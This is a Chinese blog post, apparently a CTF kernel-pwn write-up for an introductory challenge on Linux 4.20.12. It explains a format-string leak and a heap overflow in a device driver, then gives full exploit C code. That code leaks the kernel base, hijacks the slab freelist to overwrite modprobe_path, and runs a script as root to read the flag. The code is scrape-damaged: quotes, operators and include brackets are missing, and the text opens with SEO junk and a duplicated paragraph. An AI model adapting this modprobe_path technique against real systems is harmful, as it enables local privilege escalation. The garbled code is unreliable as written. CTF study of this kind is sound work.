网站建设问题分类和排除方法分析,网络黄页推广大全4,网站设计制作哪家服务好,淘宝网站开始怎么做前言
悲悲悲, 晚上5点 os-lab 实验报告 ddl, 早上肝实验报告肝到一半, 然后抽风想去做一道 kernel pwn.
然后在一个地方卡了半个多小时, 结果就是写这个 post 的时候已经两点了, 悲.
漏洞分析
这题算是一个入门题, 哎, 就是我在泄漏 kernel offset 的时候想一步到位, 结果就…前言
悲悲悲, 晚上5点 os-lab 实验报告 ddl, 早上肝实验报告肝到一半, 然后抽风想去做一道 kernel pwn.
然后在一个地方卡了半个多小时, 结果就是写这个 post 的时候已经两点了, 悲.
漏洞分析
这题算是一个入门题, 哎, 就是我在泄漏 kernel offset 的时候想一步到位, 结果就搞了好久.
内核版本: v4.20.12 (对于 kernel pwn 而言, 比较老了
保护: 开了 smep, kaslr
堆行为: free pointer 在堆块头8字节, 没开 random_freelist等保护
题目实现了一个菜单: 其中可以申请的堆块大小在 [1, 0xfff] 之间, 释放堆块不存在问题.
漏洞点:
sudrv_ioctl_cold_2(su_buf) 存在格式化字符串漏洞, 函数如下: 而 sudrv_write 函数存在堆溢出: 这里 IDA 识别的有些问题, copy_user_generic_unrolled 跟 copy_from_user 差不多, 只是 copy_from_user 多一些检查 漏洞利用
1) 首先可以利用格式化字符串漏洞去泄漏内核基地址
2) 然后利用堆溢出去劫持 freelist 到 modprobe_path
3) 最后利用 modprobe_path 进行 flag 的读取
注意点: 1) 在劫持 freelist 时, 注意堆块大小的选取, 因为在后续的操作中也可能会分配堆块 (比如 system 函数), 所以当你把 freelist 破坏后, 后面分配堆块时就会报错, 因为 modprobe_path 的头8字节为文件名, 其不是一个有效地址. 2) 泄漏内核基地址时, printk 在程序退出时才会写到缓冲区中. 这里我搞了好久, 最后选择两个程序, 一个泄漏地址, 一个进行堆劫持. 但是看网上可以直接手动输入...悲
exp 如下:
leak_addr.c
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include stdio.h
#include unistd.h
#include stdlib.h
#include fcntl.h
#include string.h
#include stdint.hint fd;void add(uint64_t size) { ioctl(fd, 0x73311337, size); }
void fmt() { ioctl(fd, 0xDEADBEEF, 0); }
void dele() { ioctl(fd, 0x13377331, 0); }
void edit(char* buf, uint64_t size) { write(fd, buf, size); }int main(int argc, char** argv, char** env)
{fd open(/dev/meizijiutql, O_RDWR);if (fd 0) puts([X] FAILED to open dev file), exit(EXIT_FAILURE);char* fmt_str %llx-%llx-%llx-%llx-%llx__%llx-%llx-%llx-%llx-%llx-XiaozaYa;edit(fmt_str, strlen(fmt_str));fmt();close(fd);return 0;
}
exp.c:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include stdio.h
#include unistd.h
#include stdlib.h
#include fcntl.h
#include signal.h
#include string.h
#include stdint.h
#include sys/mman.h
#include sys/syscall.h
#include sys/ioctl.h
#include sched.h
#include ctype.h
#include sys/types.h
#include sys/ipc.h
#include sys/msg.h
#include sys/stat.hint fd;
size_t kernel_offset;
void add(uint64_t size) { ioctl(fd, 0x73311337, size); }
void fmt() { ioctl(fd, 0xDEADBEEF, 0); }
void dele() { ioctl(fd, 0x13377331, 0); }
void edit(char* buf, uint64_t size) { write(fd, buf, size); }void get_flag(){system(echo -ne #!/bin/sh\n/bin/chmod 777 /flag.txt /tmp/x); // modeprobe_path 修改为了 /tmp/xsystem(chmod x /tmp/x);system(echo -ne \\xff\\xff\\xff\\xff /tmp/dummy); // 非法格式的二进制文件system(chmod x /tmp/dummy);system(/tmp/dummy); // 执行非法格式的二进制文件 执行 modeprobe_path 执行的文件 /tmp/xsleep(0.3);system(cat /flag.txt);exit(0);
}#define SIZE 1024int main(int argc, char** argv, char** env)
{char buf[0x1000] { 0 };char* addr_ptr;fd open(/dev/meizijiutql, O_RDWR);if (fd 0) puts([X] FAILED to open dev file), exit(EXIT_FAILURE);system(dmesg | tail -n 3 dmesg.txt);int ffd open(dmesg.txt, O_RDONLY);if (ffd 0) puts([X] FAILED to exec dmesg cmd), exit(EXIT_FAILURE);struct stat stat_buf;stat(dmesg.txt, stat_buf);size_t size stat_buf.st_size;read(ffd, buf, size);close(ffd);addr_ptr strstr(buf, __);if (!addr_ptr) puts([X] FAILED to leak addr), exit(EXIT_FAILURE);kernel_offset strtoull(addr_ptr2, addr_ptr216, 16) - 0xffffffff811c827f;size_t modprobe_path 0xffffffff82242320 kernel_offset;printf(\033[32m[] kernel_offset:\033[0m %#llx\n, kernel_offset);printf(\033[32m[] modprobe_path:\033[0m %#llx\n, modprobe_path);puts([] \033[33mtry to hijack modprobe_path\033[0m);add(SIZE);*(uint64_t*)(bufSIZE) modprobe_path;puts([] hijack freelist);edit(buf, SIZE8);add(SIZE);add(SIZE);memset(buf, 0, sizeof(buf));char path[0x10] /tmp/x;edit(path, sizeof(path));get_flag();return 0;
}
exp.sh:
#!/bin/sh
./leak_addr
./exp
效果如下: 可能会因为堆块不连续而失败, 多打几次 总结
我个人是不太喜欢劫持堆的 freelist, 因为我感觉其很不稳定, 当然啦, 自己比较菜. 看网上还有直接劫持栈提取的, 后面看看. 艹, 我的实验报告啊......溜了